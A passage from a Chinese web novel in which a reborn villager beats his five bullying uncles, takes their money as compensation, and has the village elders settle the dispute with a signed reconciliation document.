**的心神不由一松,连忙感激地开口向江河说道:“谢谢爹!我现在感觉好多了!”
“嗯。”江河微微点头,轻声交待道:“虽然只是脱臼,没伤到骨头,但是关节处的肌肉还是受了点伤。”
“这两天胳膊别太用力,等一会儿回家再给你上点儿药,应该就没什么问题了。”
说着,江河又抬手拍了拍**的肩膀以示安慰,然后才转过身形,目光冰冷地投向剩下的王家四虎。
王大虎、王三虎、王四虎、王五虎,此时已经扶起了惨叫连连的王二虎,看到江河露了这一手,几人眼中的神色不由一阵惊疑不定。
刚刚江河捏断王二虎手腕、一脚踹飞他的动作快如闪电,力量更是大得惊人,这完全不像他们记忆中那个窝囊废外甥!
这个小兔崽子,什么时候竟然变得这么厉害了?
可是这怎么可能呢?
他们以前又不是没有揍过江河这个白眼狼,对于江河的实力可谓是心知肚明。
正常情况下,他们五兄弟中的随便一个站出来,都能吊打江河。
怎么今天情况却完全不一样了?
还是说……这小子以前一直都在藏拙,在佯装弱小逗他们玩儿?
“江河!你真是好大狗胆,连你亲娘舅你都敢打,你还有没有一点儿孝心了?!”
“怪不得你爹娘一直都不待见你,就你这样狼心狗肺的坏种、白眼狼,活该他们把你早早的赶出了老宅!”
王大虎扶着王二虎,色厉内荏地怒吼着,但脚步却不由自主地向后退了两步。
见到了江河的厉害,知道可能会打不过,便直接改成了嘴炮攻击。
“孝心?”
江河仿佛是听到了什么天大的笑话一般,一步步向前逼近,每走一步都让王大虎忍不住心头一颤。
“王三妮、江十二,还有你们这几个所谓的亲娘舅,什么时候配得上‘孝心’这两个字了?”
“江十二、王三妮虽然生了我,却一直待我如牛马,只知向我索取压榨,骑在我的头上作威作福,不断吸血,何曾给过我半分父母当有的慈爱与疼惜?”
“前几日我重伤将死,江十二与王三妮甚至连几文钱都舍不得拿出来给我请郎中瞧看,更还嫌我是个累赘,主动提出与我断亲!”
“这样冷血无情的父母,谁要是稀罕了赶紧请回家里供着去,我江河侍候不起,也孝顺不来半点儿!”
“还有你们这几个所谓的‘亲娘舅’,除了从小揍我,从我身上刮油水,帮着王三妮欺压我的妻儿,可曾做过一件长辈该做的事?”
“现在老子连王三妮都不认了,你们觉得老子还会认你们几个老帮菜?!”
江河的声音并不高亢,却字字如冰锥,砸在王大虎等人脸上,也敲在周围一众村民的心头。
不少人暗自点头,回想起江河一家从前过的日子,再看王家兄弟平日里的霸道行径,这话说得确实不错。
王三妮两口子根本就没把江河一家几口当人看,看看这些年都把江河的妻儿以及孙子孙女,给搓磨成什么样了。
江河的媳妇王娟,多好的一个人,三年前,不也被王
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三妮给活生生的逼得上吊自缢了?
以前江河是个糊涂蛋,没有明白过来,还一个劲儿地对老宅死心塌地。
现在江河突然醒悟了,哪里还会再像以前那样,不顾一切的继续舔着老宅一家过日子?
“江十二懒,王三妮馋,江洋与王艳两口子又懒又馋!”
这时,江河的声音继续传来:
“就他们那一大家子棒槌,干啥啥不成,吃啥啥没够,要是没有老子这几十年来的持续供养,他们凭啥能在村子里盖得起青砖绿瓦房,又凭啥能供得出江贤、江达两个秀才和童生?”
“还有你们老王家,这些年也没少从老宅里拿钱拿粮拿东西吧?”
“远的不说,就说你们现在在县城内做工的机会,特么不也是拿着老子的血汗钱去疏通的关系吗?”
“别特么跟我说是江贤找的人情,托的关系,没有老子出钱供他进学,他江贤有个屁的人情关系!”
江河不留一点儿情面的揭着老宅一家和王家五虎的短处与老底:
“你们这些狗东西,吃着老子的,喝着老子的,拿着老子的,还特么瞧不起老子!”
“觉得老子是累赘,是窝囊废,骂老子是不孝子,是白眼儿狼,我呀呀个呸的!是谁特么给你们的狗脸?!!”
说话间,江河已缓步走到王大虎兄弟几人的身前。
嘴巴仿佛淬了毒一样,说出的话字字如刀,全都狠狠的朝着王大虎几人的胸口处插,压制得王大虎兄弟五人几乎没有还嘴之力。
江河用铁一般的事实告诉他们,打架他们不行,嘴炮他们更菜!
“今天,你们在这儿围堵我儿,抢了我儿辛苦买回来的粮食,还妄想污我儿偷了老宅的钱,逼迫他们下跪磕头道歉。”
说到这里,江河的眼神锐利如刀,直扫王大虎兄弟五人:
“我刚刚只是废了王二虎一只手腕,就已经是看在你们曾与我血脉相连的份上,手下留情了。”
“现在,别说我不给你们机会,马上跪在地上,给我儿磕三个响头道歉,然后再把你们的抢走的粮食,一粒不少的给我还回来。”
“还有,地上撒的这些粮食沾了土,脏了,你们得赔。”
“我要的不多,只需要把你们身上所有的钱,全都留下来就好。”
江河此言一出,瞬间就将本想要息事宁人,退后一步的王大虎几人给激怒了。
让他们这几个当舅爷的长辈,给三个孙辈跪地磕头认错,还要他们交出身上所有的钱。
这特么不是在打他们的脸,这是在把他们的脸踩在地上来回摩擦啊。
他们要是真的这么做了,以后哪里还会再有脸待在下河村?
五虎中脾气最爆的王三虎,直接就被怒火冲昏了头脑,再也控制不住,直接一声暴喝:
“大哥,跟这小畜生废什么话!我就不信,咱们兄弟四个还收拾不了他一个?一起上,给二哥报仇!”
话音未落,王三虎就已抡起手中的粗木棍,径直朝江河挥打而来。
王四虎、王五虎见三哥动了,也没有半分犹豫,一左一右同时扑向江河。
王大虎也是一样,在丢脸和丢钱之间,他选择了跟江河拼命。
大不了就是挨一顿暴揍,他不信江河这逼崽子还真敢下死手,当众打死或是打残他们这几个亲娘舅!
第133章 咱爹真的很能打
见四人暴怒失智,同时朝自己**而至,江河眼中寒光一闪,嘴角处隐隐勾起了一抹冷笑。
没错,他刚刚就是在故意出言羞辱、刺激几人,让这几个所谓的亲娘舅,主动对他出手。
如此他在“被动”反击的时候,才能顺理成章的对他们痛下**!
当然,**是不可能的**的。
就算是王家五虎取死有道,江河也不可能会愚蠢到在大白天,当着周围那么多村民的面肆意行凶。
但是,他在被迫自卫反击的时候,失手、意外、不小心打折了对方几条胳膊,踹断对方几条腿,还是没有任何问题的。
江河现在对自己本身所拥有的力量很有自信。
在服用过足足六颗【特效大力丸】,又熟练融合了六十年八段锦修行功力之后,他现在双臂、双腿的力量,皆都能达到千斤以上。
只要他想,王家五虎立马就能变成王家五残。
“爹,我来帮你!”
江天见王大虎几人想要群殴他爹,马上就要拎着扁担冲过来帮忙。
江河闻声,不由回头瞪了这小子一眼,轻声斥道:
“老二,你给老子在那里老实待着!对付这几条杂鱼,你老子我一个人就足够了!”
**见状,连忙伸手将二哥给拉了回来,小声劝说道:
“二哥,你就别过去捣乱了。相信我,也相信咱爹,咱爹真的很能打的,王大虎他们几个加起来,都不够给爹塞牙缝的!”
江天闻言,不由无语的看了**一眼。
感觉老三这小子对老爹似乎有些崇拜得过了头,也过于自信了。
他承认,他爹确实生得人高马大,以前也经常在街面上跟人打架斗殴,算是有一定的打斗经验。
可是,老爹现在面对着的可是王家五虎,是每一个都比老爹块头还要大上一圈的肌肉猛男。
单独对付一个的话,老爹或许还有一定的胜算,但是现在可是一对四,他实在看不到老爹的胜算在哪里。
双拳难敌四手这话,可不是说着玩的。
就算是老爹有把子力气,刚刚更是一招就制服了王二虎,可在一对四的情况下,难免会有顾及不到的地方。
“老三你糊涂啊,咱爹平常要面子,喜欢吹牛逼也就罢了,你咋能真就信了呢?”
“你快放开我,我要是再不去帮忙,咱爹怕是就要吃大亏了!”
江天甩手想要摆脱**的拉扯,继续冲上前帮忙。
**却死活不放,不想让二哥过去捣乱,影响老爹发挥。
另一边。
王三虎手中的木棍已经挟着凌厉的风声朝着江河的头顶砸落。
江河微微侧身,棍子擦着衣襟落下,砸在地上激起一片尘土。
在王三虎旧力已尽、新力未生之际,江河右手五指如钩,再次闪电般的精准扣在了其持棍的右手手腕之上。
“咔嚓!”
同样的一声脆响过后,王三虎嗷的一嗓子,发出一阵不似人声的惨叫,木棍脱手坠落。
这一次,江河没有直接停手,左手握拳,拳锋呼啸,重重砸在王三虎右肩的肩窝!
又是一声令人牙酸的骨骼碎裂声。
王三虎的整条右臂以一个诡异的角度软塌塌垂落,人也被砸得踉跄后退数步,一屁股跌坐倒在地,疼得浑身抽搐,再无半点儿再战之力。
“三哥!”
王四虎、王五虎见三哥受此重创,皆都目眦欲裂,同时从左右两侧挥拳打向江河太阳穴。
江河听风辩位,左右两臂后发先至,格开二人挥来的拳头,随即腰身后躬,双肘如**出洞,分向左右狠狠撞在王四虎、王五虎二人肋下。
“噗!”“噗!”
王四虎、王五虎只觉得前胸处传来剧痛,一口气没上来,眼前一阵发黑,同时闷哼着捂着胸腹处蹲了下去。
就在此时,王大虎的攻击也已来到近前。
他趁江河躬腰后撤攻伐王四虎、王五虎的空当,瞬时飞出一脚,直踹江河面门。
江河见状,右脚脚尖点地,以左脚脚跟为轴,如灵猿翻身,又似游龙摆尾。
在回旋扭转之间,江河右腿微抬,从斜刺里伸出一脚,脚尖正好踢在了王大虎抬起右腿的膝关节正下方。
“咔嚓!”
又是一声清晰入耳的骨裂脆响!
王大虎感觉自己的右腿像是被铁锤砸中,膝关节处传来一阵难以言喻的剧痛和扭曲感。
他惨叫一声,整个人失去平衡,劈着叉向前方跌倒。
落地的瞬间,他下意识想用右腿支撑,却发现整条右腿都再不听使唤。
之后整个身子就那样直挺挺的重重摔落在地上,屁股还有两腿间的那一坨肉,好悬没有被摔成八瓣!
落地之后,王大虎也发出了惨绝人寰的凄厉悲鸣。
一会儿伸手捂腿,一会儿伸手捂裆,一会又伸手去揉屁股,感觉他整个人哪哪儿都不好了,马上就废掉了一样!
就这样。
顷刻之间。
冲杀过来的四虎全都倒地不起!
而江河只是在原地稍微活动了一下手脚,顺便转了个圈儿而已,身上没有落下半点儿伤痕。
围观的村民全都看呆了。
万也没有想到,江河竟然会这么厉害,只是一眨眼的工夫,就把在村子里横行霸道了几十年的王家五虎,全都给撂倒了!
以前他们只知江河是个偷鸡摸狗、喜欢惹事生非的地痞、二流子,大家平常见了都躲着他走。
却从来都不知道,这小子打起架来竟然这么凶,这么厉害!
江河的身后。
正在试图挣脱**纠缠的江天,也是身形一僵,怔怔的抬头看着眼前发生的一切。
不是……他都还没有出手呢,战斗咋就已经结束了?
他甚至都没有看清他爹是咋出手的!
**见状,悄然松开了他一直拉着的二哥,神色平静且理所当然的向江天说道:
“看吧,二哥!我就说咱爹真的很能打的!”
“王家五虎在咱爹跟前,就是个屁,根本就不值一提!”
“爹以前没有对他们动过手,那是因为爹有孝心,不愿冒犯长辈。”
“但是现在,咱们已经跟王家断了亲,自然就不必再顾忌什么了!”
江天闻言,总觉得有哪里不对。
可眼前发生的这一切,却又让他不得不承认,老三说的确实有一定的道理。
此刻,场中只剩下江河一人站立。
他缓缓收势,神色平静地扫过在地上不断哀嚎翻滚的王家四虎。
最后,目光轻抬,落在了几米之外,已吓得面无人色、双腿发抖的王二虎身上。
现在,王家五虎之中,就数王二虎受伤最轻,还能勉强从地上站起身来。
只是此刻的王二虎,已经**河给彻底吓破了胆,见江河向他看来,他心神一惊,忍不住连着向后退了三步。
“你……你……想做什么?!”
王二虎缩着脖子,目光躲闪着不敢与江河对视。
看着身前四个兄弟转瞬之间就被废掉手脚,或趴或躺或蹲在地上痛呼哀嚎的惨状,他眼中哪里还有半分之前的嚣张气焰,只剩下了无边的恐惧与深深的
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忌惮。
这一刻,他甚至有些庆幸,自己只是断了手腕,至少还能站着。
见王二虎已经被吓破了胆,江河便懒得再搭理他。
抬步走到正疼得满地打滚、脸色都有些发紫的王大虎跟前,缓缓蹲下身子。
无视王大虎的哀嚎和恐惧的眼神,目光淡然的直视着他:
“王大虎,现在应该能好好说话了吧?”
王大虎咬着牙,低下头,没敢与江河对视,但也没有吭声应答,似在等着江河接下来的章程。
“这样吧,看在以前咱们都是亲戚的份儿上,我可以大发慈悲,不让你们再给我儿跪地磕头赔罪了。”
“当然了,就你们现在这副状态,估计就是想跪也跪不成了!”
“接下来,你们只需诚心诚意的跟我这三个儿子鞠个躬、道个歉,然后再把你们身上所有的钱全都留下当作赔偿,今天这事儿就算是了了。”
说着,江河不经意的轻瞄了一下王大虎那条没有受伤的左腿,似笑非笑的开口向他问道:
“你觉得……我的这个提议怎么样?没有欺负你们吧?”
“没……没有!”
王大虎不自觉的缩了下自己的左腿,咬着牙沉声的说道:
“成王败寇,这次是我们技不如人,我们认了!一切就按你说的来!”
说着,他扭头看向唯一还能站着的王二虎道:
“老二,你去把咱们这次带回来的钱,全拿出来,交给江河!”
王二虎闻言,脸上不自觉的露出了一丝肉疼、不舍之色。
他们这次回来,可是带了足足三贯钱啊,本想着趁机修一下家里的房子,再置办几套新家具。
谁曾想,现在却要白白送给江河这个小兔崽子了。
“快点!再磨蹭下去,我和老三、老四、老五可就真的要废了!”
见老二还站在那里发呆,并没有第一时间伸手掏钱,王大虎忍不住开口斥责催促。
他们哥几个不是断了胳膊就是断了腿,老四老五更是伤到了肋骨。
这样的伤势,虽然一时半刻的要不了命,可若是不能及时包扎复位,以后没准儿就会落得一个残废的下场。
“知道了,大哥!我这就取钱,这就取钱!”
王二虎连忙应声,随即便伸出左手将自己怀里的钱袋取出。
然后又跑到其他几个兄弟身边,把他们身上的钱袋也全都取出来堆放在一起,半抱着送到到了江河面前。
江河没有伸手去接,先是扫了一眼王三虎、王四虎几人,确定他们身上没有藏私之后,便示意江天、**、江源三兄弟过来把钱接过收好。
“现在,你们可以过来给我儿鞠躬道歉了……”
就在江河要求五虎给三个孩子鞠躬道歉之时,里正王冶山还有老族长王德顺,也都得了消息,快步从村子里赶了过来。
隔着老远,就听到王冶山怒声喝斥道:
“住手!快给我住手!”
“王大虎,王二虎,你们特么到底想要干什么?!还不快给老子住手!”
听到王冶山这没来由的训斥、怒骂声,王大虎、王二虎、王三虎几兄弟,全都鼻头一酸,委屈得想哭。
特么,现在是他们被人给欺负惨了好不好?
王冶山这老小子不为他们出头也就罢了,人都还没有过来,情况都还没有了解清楚,就开始鼻子不是鼻子、眼不是眼的怒声训斥他们,还有没有天理了?
怪不得小妹总说,里正和族长现在的屁股全都坐歪了,不向着他们自家的王氏族人,反而去偏袒江河一个外姓人!
第134章 这特么还有没有天理了?
不怪王冶山会这么不分青红皂白的,隔着老远就直接怒斥王大虎、王二虎五兄弟,阻止他们继续动手**。
实在是王家五虎在村子里的名声,也就比江河这个二赖子稍好那么一丁点儿而已。
他们除了不偷鸡摸狗,不夜踹寡妇门外,其他什么打架斗殴、欺软怕硬、讹人钱财之类的事情,可一直都没少做。
别看王家五虎现在岁数大了,可打起架来却要比村里大多数青壮都要凶残勇猛得多。
所以,当王冶山与王德顺得了村民的报信,说是王家五虎在村东头入口处,堵住了江河家的三个儿子,不但动了棍棒,还见血了,顿时就急了。
王家跟江河有什么仇怨,他们可是心知肚明。
不用猜他们都能知道,王家五虎这次回来,必然是受了王三妮的怂恿,来为江家老宅那帮人出头来了。
对于这种情况,他们早有预料。
事实上,从江河第一次出手狂扇了王三妮两个耳光,甚至还打断了她一条腿那一天起,王冶山与王德顺就已经预料到了会有这么一天。
王三妮的娘家哥和娘家侄子,可没有一个是省油的灯。
她这次在村子里被自己儿子一家欺负成了这样,肯定会寻娘家人过来帮她出气。
只是让王冶山与王德顺没想到的是,一直在城里做工的王家五虎,竟然这么快就回来了。
而且一回来,就堵上了江河家的三个小崽子。
就王家五虎那横行霸道又蛮不讲理的性子,还有他们那如牛犊一样的健硕身体,真要是动起手来,吃亏的肯定是江河家的那三个孩子啊!
一想到**与江源那俩小子瘦得跟小鸡崽子一样的身体,王冶山与王德顺就感觉到一阵不妙。
王家五虎全都是混账性子,下手没个轻重。
这万一要是把人给打死打残了,闹出了人命来,那可就不好收拾了,所以他们这才会这般急匆匆的赶了过来。
隔着老远,就看到有一群人围在村口,甚至还有几个人躺在地上不停的翻滚惨叫。
王冶山的心一下就提起来了,还以为他们来晚了,江天、**、江源三兄弟已经被打得受了重伤,便怒不可遏的高声训斥阻止起来。
只是,当他们气喘吁吁的赶到村口,拨开围观的村民,真正看清场中情形时。
王冶山与王德顺两人脸上的怒容和急色瞬间凝固,取而代之的是巨大的惊愕与难以置信。
这特么是什么情况?
咋么跟他们预想中的情况完全不一样啊!
他们预想中王家五虎围殴江天、**、江源三个小辈,致他们流血重伤的场景并未出现。
恰恰相反!
躺在地上不断哀嚎、翻滚,身形姿态扭曲,疼得眼泪鼻涕都冒出来的人,却是他们以为在行凶的王大虎、王三虎、王四虎、王五虎!
唯一站着的王二虎也是面色如土,左手捂着已经完全没有知觉的右手手腕,身子抖得厉害。
看到他们过来之后,王二虎就像是看到了救星一样,眼睛一眨不眨的巴巴瞅着他们,一副欲言又止、委屈巴拉的模样。
这特么……到底是怎么回事儿?!
不是说是王家五虎在这里欺负人,痛揍江家三小么?
怎么现在,却是王家五虎吃了大亏,一个个的全都像是刚从战场上下来残兵败将一样。
尤其是王大虎,他一手捂裆一手捂腿,还不时的扭动一下屁股,这是什么姿势?
王二虎的身边,江河见里正与老族长来了,原本嚣张跋扈、得理不饶人的凶戾神色,瞬间换成了一副既愤慨又委屈的神情,抢先一步上前,一把拽住王冶山与王德顺的胳膊,高声报屈道:
“里正公,老族长,你们可算是来了!”
“你们可得给我们做主啊!”
江河这洪亮、高亢的声音,瞬间将王冶山与王德顺从意外、惊愕之中震醒。
只见江河抬手指着地上哀嚎的王家兄弟,又指了指站在他身后脸上带伤、衣衫不整的儿子们,语速急促但却条理清晰地说道:
“就是他们几个老帮菜,刚刚在村口拦路**,不但抢了我儿辛苦买回来的救命粮,还动手**!”
“你们看看,看看我儿子脸上还有身上的伤,都见了血了啊老族长!”
“他们抢了粮食打了人还不算,还要抢我儿身上仅剩下的几个铜板,逼着我儿给他们跪下磕头,承认那些钱是从江家老宅偷来的!”
“里正公,老族长,你们给我评评理,他们这样颠倒黑白,污蔑我儿偷盗老宅财物,是不是欺人太甚,是不是想要逼死我们一家老小?!”
说到这里,江河还想要作势挤出几滴眼泪来博取同情,只是他的情绪虽然已经酝酿到位了,可这眼泪却没有如约而至,死活也挤不出来。
没办法,他只能不着痕迹的猛地掐了一下站在他身后的江源一下。
只听到江源啊的一声,疼得眼泪刷的一下就喷涌而出。
“爹~!”
江源本能的想要问老爹为啥要掐他,可是当他看到老爹回头向他挤了一下眉眼之后,瞬间就反应过来。
下一秒,他就眼泪巴巴地抬头朝王冶山和王德顺这边看来,哭声道:
“里正爷爷,族长太叔公,你们看,我的头都被几个舅爷给打流血了!”
“他们不但要抢我们身上的钱,还逼着让我和二哥三哥跪下给他们磕头,逼着让我们说我们买粮的钱,全是从爷奶那里偷来的,我们要是不承认,他们……他们就要打死我们!”
“里正爷爷,族长太叔公,你们可一定要为我们做主啊!”
说着,江源这个半大孩子,就当着王冶山与王德顺的面,失声痛哭起来。
那委屈的小模样,再加上额头还没有完全干涸的血迹,看上去要多凄惨就有多凄惨,要多可怜有多可怜。
简直就是闻者伤心,见者落泪。
江河见状,忍不住偷偷给江源伸了个大拇指以示赞赏。
这小子果然机灵得一批,这苦情戏演得,比他预想中的还要好上十几倍。
“好了好了,江源娃娃莫哭了,如果你说的都是真的,我和老族长自然会为你们做主!”
王冶山抬手拍了拍江源的脑袋,轻声劝慰了两句。
“是啊,孩子,你放心,若是王大虎他们真的做了这些无法无天的事情,太叔公定会为你们出头,狠狠的教训他们这些混账东西!”
说着,王德顺狠狠的在地上敲了一下手中的拐杖,回头猛瞪了王二虎几人一眼。
看看你们这些为老不尊的混账玩意儿,都把人孩子给逼成什么样了?
“谢谢里正爷爷,谢谢族长太叔公!”
江源
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见好就收,痛哭声逐渐变成了小声抽噎,向王冶山与王德顺道了句谢后,就**的又缩回到了江河的身后。
而王大虎、王二虎等人则一脸的懵逼与委屈。
尤其是听到王德顺说要为江河父子出头,甚至还回头狠瞪了他们一眼之后,五兄弟的心态都崩了。
这特么还有没有天理了?
现在可是他们挨了揍,受了重伤,是他们吃了大亏,他们才是受害者啊!
为什么王冶山与王德顺这两个老家伙却偏听偏信,一味的指责他们?
这特么还是以他们王氏族人为主的下河村吗?
里正与族长的眼里,还有他们这些王家人吗?
“老族长,治山兄弟,你们可不能偏听偏信,相信这些小鳖崽子的胡言乱语啊!”
王三虎脾气最爆,第一个没忍住出声反驳道:
“我们可是他们的舅爷,刚刚拦住他们只是想要跟他们说几句话,开个玩笑而已,怎么就拦路**,怎么就无法无天了?”
“老族长,你看看我们?你看看我们现在是什么样?再看看江河他们父子是什么样?”
“现在明明是他们这些不孝子孙,出手打了我们这些娘舅长辈,是他们在倒反天罡,在忤逆不孝,你咋能不分青红皂白的就一味的指责我们呢?”
“就是!”
王四虎与王五虎也捂着各自的胸口,一脸的不服不忿。
“我们的肋骨都**河这小兔崽子给打断了,还有大哥的腿,二哥的手腕,全都受了重伤!”
“真要论起来,应该是江河这个不孝子在欺负我们这些长辈才是!”
“老族长,治山兄弟,你们可不能处理不公,一味的偏袒江河这个不孝子啊!”
王冶山与王德顺闻言,彼此对视了一眼,都从对方的眼中看出了一丝无奈与嫌弃。
王家五虎是什么德行,他们心里难道还会不清楚吗?
不用问他们也知道事情的前因后果是什么。
只是这一次,他们似乎踢到了铁板,碰到了江河这个更厉害的混不吝,吃了大亏。
如果不是看在同宗同族的份上,今天这事儿,他们是真的不想管啊。
“江河!”王冶山轻咳了一声,开口向江河问道:“你来说说,王大虎他们身上的伤是怎么回事儿?”
“你说你,下手咋也没个轻重呢?”
“他们毕竟是你的亲娘舅,你看你把他们给打得都成什么样子了,这要再落下了残疾可怎么办?”
来了来了。
王冶山又想要开始和稀泥,为王大虎几人开脱了。
江河心中冷笑一声,面上却恰到好处地露出一丝懊恼和后怕,开口解释道:
“老族长,里正公,我也不想这样的。”
“我听说有人在村口打我儿子,便匆忙跑来阻止。”
“结果,他们几个见我来了,非但没有任何收敛,反而还要对我动手,我又不傻,总不能站着不动,等着他们来打我吧?”
“在场的这些乡亲都可以为我作证,是他们拿着棍子主动来打我的,我只是为了自保,被迫反击而已!”
“我也没想到,他们五个人,看上去人高马大的,竟然这么不中用。”
“我只是轻轻碰了他们一下,他们就变成了这个鬼样子,谁知道他们是不是为了讹人,故意装成这样的?”
第135章 和稀泥,和解文书
江河最后这句话,差点儿没有直接把王大虎、王二虎几人给气吐血。
“你放屁!”
王大虎疼得直抽冷气,忍不住坐直了身子,嘶声叫骂道:
“老子这条腿都断成这个逼样了,哪一点儿像是装的了?!”
“还有老三的肩膀,老四和老五的肋条,全都被打折了啊!”
“老族长,冶山兄弟,你们可得给我们做主啊,你看看我们……都**河这小崽子给欺负成什么样了?!”
王二虎也委屈巴拉的开口指责道:“还有我们身上的钱,足足三贯呢,也全都**河父子给抢了去,真要论起来,我们才是被抢的人,我们才是真正的受害者!”
“老族长,里正公,你们可得为我们主持公道,帮我们把那些钱要回来,那可是我们在城里赚的血汗钱啊!”
王冶山头疼地揉了揉额角。
他又不瞎,当然看得出王家兄弟是真伤,而且伤得很重。
但江河这番说辞,把自己摘得干干净净,完全把自己塑造成了一个为了保护孩子,被迫自卫的受害者,甚至还反过来诬陷王家兄弟讹**钱。
偏偏江河所说的这些,听起来还那么的合情合理,让人挑不出半点儿毛病,找不出半点儿反驳的话来。
这让他怎么出手调解,怎么为他们主持“公道”?
他是里正不假,可也不能当着这么多人的面,直接颠倒黑白啊!
王德顺也跟着轻叹了口气,他明白今天这事儿,想完全偏袒王家是不可能了。
这事儿就算是说破天去,人家江河也占着理。
谁让王家五兄弟闲着没事儿去堵人家儿子,去主动招惹江河了?
抢了粮食打了人不说,甚至还想要污蔑人家是**偷盗的窃贼,想要把几天前江家老宅失窃的案子直接栽赃到江河父子身上。
这特娘的是人能干出来的事儿?
当然。
如果只是这些也就罢了。
最关键的是——
他们兄弟五人,在以五打一的情况下,围殴江河,最后竟然还特么打输了!
妥妥的一群窝囊废啊!
江河父子没有吃什么亏,没有被直接打怕打服,心生惧意。
这让他这个族长和王冶山这个里正,连出面调停、表面上卖个好给江河,劝他不要再过分追究的机会都没有。
“行了,都别吵吵了!”
王德顺拐杖重重一顿,苍老的声音带着不容置疑的威严,厉声说道:
“事情的大概,老朽已然明了。王大虎、王二虎,你们兄弟五人拦路抢粮、动手伤人是事实,不管是不是在开玩笑,都是有错在先!”
“还有你江河,虽是护子心切,被迫还手,算是情有可原。但是你出手过重,致人伤残,也是有些不妥。”
各打了五十大板之后,王德顺的目光缓缓扫过双方,直接做出决断:
“王大虎,今日之事,错在尔等。你们需向江河父子郑重赔礼道歉,并保证以后不会再因此事找寻江河父子的麻烦。”
“江河,念在他们已经身受重伤,且终究是你的长辈,你既然已经拿了他们的赔偿,此事便到此为止,莫要再继续追究了,如何?”
显然,王德顺这是在担心江河会死纠着王大虎等人拦路**的罪名不放,执意要把王家五虎给送到县大狱去,所以才会这么着急的想要把事情在村子里就给了结了。
毕竟,拦路**可是触犯了大宣律法的**。
江河真要是较起了这个真儿,非得送他们去见官,那可就不是区区三贯钱就能了结的事情了。
说起来,王德顺还是在暗中偏向自家的族人。
不过这倒也正全了江河的心意。
江河原本也没想过要把王家五虎送官。
不是他心慈手软,而是王大虎几人跟他们家毕竟有着特殊的血脉关系。
若是此事闹到了县衙,他们一口咬定自己没有**,就是在跟几个晚辈开玩笑,谁也拿他们没办法。
更重要的是,通过王神婆的案子,江河已经清楚地认识到,县衙里的那些官老爷,并没有想象中的那么公正廉明。
真要是去见了官,他要是再被王大虎几人给反咬一口,说他故意伤人,最后被送进大狱的人还指不定会是谁呢。
“老族长处事公允,我没有任何异议。”
江河欣然点头,给足了王德顺面子。
“只要他们诚心道歉,并保证以后不再故意来寻我家的麻烦,我们可以不再追究今日之事。”
说着,江河的目光缓缓转向王家五兄弟,尤其是在王大虎和王二虎身上停留片刻,补充道:
“当然,那三贯钱的赔偿,一会儿最好还是请里正和老族长做个见证,写个正经的证明文书。
免得事后有人会不认账,反过来说是我江河抢了他们的财物。”
他这是要把那三贯钱赔偿的合理性彻底坐实,杜绝王家五虎日后再反悔,甚至反咬一口的可能。
王德顺人老心亮,自然听出了江河的弦外之音。
心里暗骂了江河一句滑头之后,也只能顺着他的话头说道:
“王大虎、王二虎,你们也听到了,那三贯钱,便当是你们对江家父子的赔偿了。”
“口说无凭,立字为证,待会儿让冶山亲笔写一份调解文书,你们双方在上面签了字,画了押,此事就此了结。”
“日后,谁也不许再因此事徒生事端,否则,族规村规,绝不轻饶!”
最后一句,他加重了语气,既是警告王家莫要再无事生非,也是在提醒江河得饶人处且饶人。
王大虎、王二虎几人闻言,气得一阵肝儿疼,满脸幽怨与不满的看向王德顺。
原本,见到里正与老族长来了,他们还以为自己总算是盼到了救星,以为他们终于可以摆脱江河的威胁,可以拿回**河强行“讹”走的那三贯血汗钱。
可是结果呢?
特么竟然还是跟之前一样!
不但要赔钱,还要接着跟人鞠躬道歉,赔不是!
不,还是有些不一样的!
原本,在老族长与里正没来之前,他们就已经做好了要跟江天、**、江源三个小崽子鞠躬道歉的准备。
那时候,围观的人只有七八个,就算是丢人也范围有限。
而且他们也不用写什么劳什子的保证
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书,不用签字画押,证明那三贯钱的明确用途和归属,还有机会可以反过来诬告江河一番。
可是现在呢?
随着老族长与里正的到来,村子里呼呼啦啦的跟来了一大群村民。
几乎半个庄子的人都跑出来了,全都在大眼瞪小眼的看着他们的笑话!
搞得他们不但钱没了,人残了,还丢了更大的人不说,甚至还要签字画押,保证以后再也不找江河一家的麻烦?
这亏吃得都特么憋屈到姥姥家了!
感觉,这老族长与里正就特么是来帮倒忙的,他们来还不如不来!
“怎么,你们还不服气?”
王德顺见王家兄弟满脸不甘不忿的幽怨的表情,面色不由一沉,拐杖再次顿地,厉声言道:
“若是你们觉得老夫处事不公,亏待了你们,老夫现在就走,以后再不会管你们家的闲事……”
王德顺的话还没有说完,王大虎与王二虎就同时心头一颤,连忙摆手解释道:
“老叔公你误会了,我们绝对没有这个意思!”
“对对对,老叔公,我们服气!我们愿意道歉、赔钱!也愿意在保证书上签字画押……”
虽然他们心里一直对王德顺与王冶山非议不已,觉得他们处事不公,偏向江河,害得他们非但没顺利要回钱,还丢了更大的人。
但是这些话他们也只敢在心里想想而已,却是半点儿也不敢摆在明面上说。
再怎么讲,王德顺也是他们王氏一族的族长,在村里德高望重,权势不小。
而王冶山是下河村的里正,与县里的捕头及县尉都有些关系。
真要是把他们两个给得罪狠了,以后他们一家人在村里可就真的要寸步难行了。
更何况,他们这次回来,最主要的目的就是为了给小妹一家明日的顺利回归打前站。
这其中,可少不了需要王德顺与王冶山这二位族长和里正的调解与周旋。
他们现在要是把这二人给彻底得罪了,他们家小妹以后还能回得来吗?
见王家兄弟低头服软,王德顺面色稍霁,再不提刚才要走的话茬儿,转头对王冶山道:“冶山,写文书吧。”
王冶山微微点头,找人回去取来纸笔,就在旁边一块还算平整的大石头上,蘸墨提笔,快速书写起来。
不一会儿,一份详述了事情经过的“和解文书”新鲜出炉。
知道王大虎兄弟几人不识字,王冶山便当着他们的面将和解文书上的内容复述了一遍,而后又看向江河,正色道:
“你们双方若无异议的话,这便签字画押吧。”
江河见状,不由轻挑了下眉头。
原本他只是想要一份由王家五虎单方面签署的“赔偿证明”而已。
没想到现在,经王德顺这么一搅和,直接就把“赔偿证明”,变成了需要双方都签字画押“和解文书”,彻底断了江河后续还想拿这件事情做文章的可能。
只能说姜还是老的辣,论和稀泥的水平,还是得这位老族长。
只是可惜,对面的王家五虎,似乎并没有明白老族长的良苦用心,他的这片好意,注定是要喂了狗了。
第136章 凭什么啊?!
“江天、**、江源,对不住了!”
“我们不该跟你们开玩笑,不该出手打你们,更不该打翻了你们的粮食,还逼你们磕头认错。”
“现在,我们诚心向你们道歉,希望你们能大人不计小人过,原谅我们这一次!”
签好了和解文书之后,在江河还有王冶山、王德顺等人的监督下。
王大虎、王二虎、王三虎、王四虎、王五虎兄弟五人,相互搀扶,忍着伤口处的剧烈疼痛,咬着牙,甚至含着泪(疼得),郑重无比地躬身低头,向江天、**、江源三兄弟认错道歉。
